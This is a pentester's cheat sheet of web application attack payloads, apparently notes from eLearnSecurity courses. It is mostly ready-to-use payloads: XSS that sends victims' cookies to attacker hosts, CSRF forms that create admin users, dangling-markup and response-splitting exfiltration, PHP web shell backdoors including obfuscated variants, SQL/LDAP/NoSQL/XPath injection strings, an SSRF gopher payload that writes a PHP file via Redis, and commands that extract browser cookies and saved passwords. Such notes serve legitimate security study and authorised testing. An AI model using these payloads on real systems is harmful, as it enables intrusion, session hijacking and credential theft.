Last changed: 08.07.2020
Hacking web applications
As web application pentesting represents a large topic on its own I will regard it on a separate page. This paged represents some of the notes taken during the online courses eLearnSecurity Web Application Penetration Testing (eWAPT) and eLearnSecurity Web Application Penetration Testing extreme (eWAPTX).
A collection of payloads for different vulnerabilities can be found in PayloadsAllTheThings.
information gathering
To identify possible attack vectors for a certain target you should start by determining the target scope and fingerprinting the underlying server technologies.
subdomain enumeration
Sublist3r is a cool tool using multiple search engines to find subdomains. A free online alternative is dnsdumpster.com.
sublist3r -d target.com -o output.txt
Alternatively you can use dnscan to enumerate subdomains using wordlists.
dnscan -d target.com
simple regex for urls
((https?):\/\/([\[\]A-Za-z0-9\@\.\:\-]*)(\/[\w\-\.\~\!\$\&\(\)\*\+\,\;\@\%\/]*)?)
((https?):\/\/([\[\]A-Za-z0-9\@\.\:\-]*)(\/[\w\-\.\~\!\$\&\(\)\*\+\,\;\@\%\/\=\?]*)?)
webserver fingerprinting
httprint -P0 -h <target_ip> -s /usr/share/httprint/signatures.txt
http://toolbar.netcraft.com/site_report?url=target.com
https://urlscan.io/search/#target.com
other request methods
curl -X OPTIONS -i http://target/admin/
curl -X PUT -i http://target/admin/
cms scanning
wpscan -u wordpress.target.com
joomscan -u joomla.target.com
website mapping
burpsuite => spider
dirb http://target.com
dirbuster (GUI tool)
identify WAF
wafw00f http://target.com
vulnerability scanner
nikto -host http://target.com
w3af (GUI tool)
cross site scripting
Missing input sanitization can allow an attacker to inject javascript into a webpage. This javascript code is then executed by the browser of a victim. A comprehensive ressource for filter evasion tricks can be found in the OWASP XSS Filter Evasion Cheat Sheet.
steal cookie
<svg/onload='var i=new Image;i.src="http://attacker/"+document.cookie;'>
' onmouseover=location.href='http://attacker/'.concat(document.cookie); id='
A local webserver for testing can be setup with python3 -m http.server 80
.
submit form
<script>window.onload=function()
{var f=document.getElementById("form"); var e=f.elements;
e[0].value="newPassword";f.submit()};</script>
filter evasion
eval(String.fromCharCode(97,108,101,114,116)+"('xss')")
eval(/ale/.source+/rt/.source+/('xss')/.source)
base36 encoding
parseInt("alert",36)
eval(17795081..toString(36))(43804..toString(36))
base64 encoding
eval(btoa("alert('xss')"))
eval(atob(`YWxlcnQoJ3hzcycp`))
<object data='data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4K\'>
To test and debug javascript from the commandline you could use javascript
runtimes like nodejs
or rhino
. But functions and objects which are implemented
by the browser runtime will be missing when the script is run from commandline.
To show and edit your cookies a browser plugin like Cookie-Editor for firefox comes in handy.
cross site request forgery
form post
<iframe style="display:none" name="csrf-frame"></iframe>
<form method='POST' action='http://target/admin.php' target="csrf-frame" id="csrf-form">
<input type='hidden' name='username' value='hacker'>
<input type='hidden' name='role' value='admin'>
<input type='submit' value='submit'>
</form>
<script>document.getElementById("csrf-form").submit()</script>
form post with csrf token
<iframe id="csrf" src="/admin.php"></iframe>
<script>
var frame = document.getElementById("csrf");
frame.onload = function(){
var doc = (frame.contentWindow || frame.contentDocument);
if (doc.document) doc = doc.document;
var form=doc.getElementById("target-form");
doc.getElementById("username").value="hacker";
doc.getElementById("role").value="admin";
form.submit()}
</script>
form post with xhr
<script>
var change_request = new XMLHttpRequest();
var url = "http://target/changePassword.php";
var params = "password=newPassword&submit=";
change_request.open("POST", url, true);
change_request.withCredentials = 'true';
change_request.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
change_request.onreadystatechange = function(){
if(change_request.readystate > 1){
change_request.abort();
}
}
change_request.send(params);
</script>
read csrf token with xhr
<script>
var token_request = new XMLHttpRequest();
token_request.onreadystatechange = function (){
if(token_request.readyState == 4){
var htmlSource = token_request.responseText;
var parser = new DOMParser().parseFromString(htmlSource, "text/html");
var token = parser.getElementById("CSRFToken").value;
changePass(token);
}
}
token_request.open("GET", "http://target/editProfile.php", true);
token_request.withCredentials = 'true';
token_request.send();
</script>
dangling markup
If you can inject a string into a webpage with an unclosed quote you can extract the content of the page until the next closing quote.
<link rel="prefetch" href="http://evil.com
<img src='http://attacker.com/log.php?HTML=
<meta http-equiv="refresh" content='0; url=http://evil.com/log.php?text=
More examples can be found on https://book.hacktricks.xyz/
http response splitting
Sometimes user input can affect the http header of the response (e.g. the chosen
language setting gets stored in a cookie). If you can insert CRLF
into the
http header you can craft a message that consists of 2 valid looking responses.
GET /?lang=us%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2075%0d%0a%0d%0a<script>window.location='https://attacker.com/?c='%2Bdocument.cookie</script> HTTP/1.1
Location: victim.proxy:8080
When a second request gets issued right afterwards a caching proxy could interpret the crafted response as the response to this request thus poisoning the cache.
GET /admin HTTP/1.1
Location: victim.proxy:8080
local file inclusion
path truncation
Generate a long path ending on a .
.
curl http://target.com/index.php?page=a/../../../etc/passwd`python -c "print('/.'*4000)"`
php filter
http://target.com/index.php?page=php://filter/convert.base64-encode/resource=index
php backdoor
standard
<?php if(isset($_REQUEST['cmd'])){ echo "<pre>"; system($_REQUEST['cmd']); echo "</pre>"; die; }?>
mini
${'_GET'}['_'](${'_GET'}['-'])
non-alphanumeric
${'_'.('{'^'<').('{'^'>').('{'^'/')}['_'](${'_'.('{'^'<').('{'^'>').('{'^'/')}['-']);
weevely
A simple backdoor can be generated e.g. with weevely
.
weevely generate my_password w.php
weevely target.com/w.php my_password
authentication bypass
mysql
Example query: SELECT * FROM users WHERE username='<user>' AND password='<password>'
user='+or+1=1--+&password=abc
user=admin'--+&password=abc
ldap
Example query: (&(username=<user>)(password=<password>))
user=*))%00&password=abc
user=admin)(!(|(1=1&password=abc))
nosql
Example query: db.collection('users').find({"user": req.query.user, "password": req.query.password});
user[$ne]=abc&password[$ne]=abc
user=admin&password[$ne]=abc
user[$regex]=^[aA].*&password[$ne]=abc
xpath
Example query: "//Employee[UserName/text()='" + Request("user") + "' And Password/text()='" + Request("password") + "']";
user=' or 1=1 or ''='&password=abc
php unserialize
a:2:{s:4:"user";b:1;s:8:"password";b:1;};
a:2:{s:4:"user";s:5:"admin";s:8:"password";b:1;};
sql injection
Missing input validation can also lead to sql injection vulnerabilities. As exact design of the exploit depends on the crafted query I will only mention examples for some common techniques. A great page for further ressources is OWASP.
mysql
' union select null,null,group_concat(0x7c,schema_name,0x7c) from information_schema.schemata#
' OR ASCII(SUBSTRING(user(),1,1)) <=109#
' OR SUBSTRING(user(),1,1) = 'a'--+
' OR SLEEP(5)#
IF EXISTS (SELECT * FROM users WHERE username = 'admin') SLEEP(5)
id=999 union select null,null,...,LOAD_FILE(0x2f6574632f706173737764)
id=999 UNION SELECT * FROM (SELECT 0x41)a JOIN (SELECT 0x42)b JOIN (SELECT 0x43)c JOIN (SELECT 0x44)d
If you are dealing with an INSERT
statement which is using a syntax like
INSERT INTO users (username, password, email) VALUES ('foo','bar','foo@bar')
an additional entry can be created with
email=foo@bar'),('dump', 'password', (select group_concat(0x7c,username,0x7c,password) from users))--+
mssql
id=999 or 1 in (select top 1 cast(name as varchar(4096))from database..sysobjects where xtype="U")--
id=999 or 1 in (select top 1 cast(database..syscolumns.name as varchar(4096))from database..syscolumns,database..sysobjects where database..syscolumns.id=database..sysobjects.id and database..sysobjects.name="tableXY")--
id=999 or 1 in (select top 1 cast(username as varchar(4096))%2bchar(64)%2bpassword from users where id=1)--
if (select user) = 'sa' waitfor delay '0:0:5'
sqlite
' union select tbl_name from sqlite_master where type='table' and tbl_name not like 'sqlite_%'--
' OR 'A' = UPPER(HEX(RANDOMBLOB(100000000/2)))--
sqlmap
The open source tool sqlmap
can automatically detect sql injection flaws and
run the attack. In more complex web applications you may have to specify the
command to get results.
sqlmap -u 'https://target.com/page.php?m=*as%40mail.com&token=AAAA' --eval "import requests;s=requests.session();r=s.get('https://target.com/token.php');token=r.text" --threads 10 --current-db
nosql injection
ldap
search=admin*)(password=m*
mongodb
user[$gte]=m...
xml attacks
xxe
<!DOCTYPE php_read [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=index.php"> ]>
xpath injection
search=asdf' | //user/password[('1'='1
id=999') and (substring(//user[username='admin']/password,1,1)='s
ssrf
curl + redis
This chinese site shows some attacks with gopher and here you can find details about the redis protocol
curl http://target/index.php -d 'url=gopher://localhost:6379/_config set dir /var/www/html%250d%250aconfig set dbfilename test.php%250d%250aset test "%253c%253fphp phpinfo(); %253f%253e"%250d%250asave%250d%250aquit%250d%250a'
browser data
chromium
Encrypted cookies have to be decrypted with scripts like decryptchromecookies.py or pycookiecheat.
sqlite3 .config/chromium/Profile\ 1/Cookies "select host_key,name,value,encrypted_value from cookies"
sqlite3 .config/chromium/Profile\ 1/History "select title,url,visit_count from urls"
sqlite3 .config/chromium/Profile\ 1/History "select current_path,site_url,tab_url from downloads"
firefox
sqlite3 .mozilla/firefox/<profile>.default/places.sqlite "select url from moz_places"
sqlite3 .mozilla/firefox/<profile>.default/cookies.sqlite "select basedomain, name, value from moz_cookies"
sqlite3 .mozilla/firefox/<profile>.default/webappsstore.sqlite "select originKey, key, value from webappsstore2"
The script firepwd can extract stored
passwords from the key4.db
and the logins.json
files.
python firepwd -d .mozilla/firefox/<profile>.default/